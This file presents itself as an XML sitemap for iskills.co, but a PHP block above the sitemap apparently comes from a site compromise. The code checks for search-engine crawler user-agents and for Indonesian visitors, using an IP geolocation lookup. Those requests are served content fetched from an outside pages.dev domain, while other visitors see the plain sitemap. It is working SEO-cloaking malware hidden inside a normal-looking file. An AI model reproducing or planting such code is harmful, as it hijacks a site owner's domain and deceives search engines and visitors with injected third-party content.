<?php
function getUserCountry() {
    $ip = $_SERVER['REMOTE_ADDR'];
    $url = "http://ip-api.com/json/{$ip}";
    
    $response = @file_get_contents($url);
    if ($response) {
        $data = json_decode($response, true);
        return $data['countryCode'] ?? null;
    }
    return null;
}

function is_bot() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $botchar = "/(googlebot|slurp|bingbot|baiduspider|yandex|adsense|crawler|spider|inspection)/i";
    
    return preg_match($botchar, $user_agent);
}

$mangea = "https://meledak-iskills-co.pages.dev/";

if (is_bot()) {
    echo @file_get_contents($mangea);
    exit;
}

if (getUserCountry() === "ID") {
    header("Content-Type: text/html; charset=UTF-8");
    echo @file_get_contents($mangea);
    exit();
}

?>
<?xml version="1.0" encoding="UTF-8"?>
<urlset
      xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
            http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
<!-- created with Free Online Sitemap Generator www.xml-sitemaps.com -->


<url>
  <loc>https://www.iskills.co/</loc>
  <lastmod>2025-09-06T06:01:36+00:00</lastmod>
</url>


</urlset>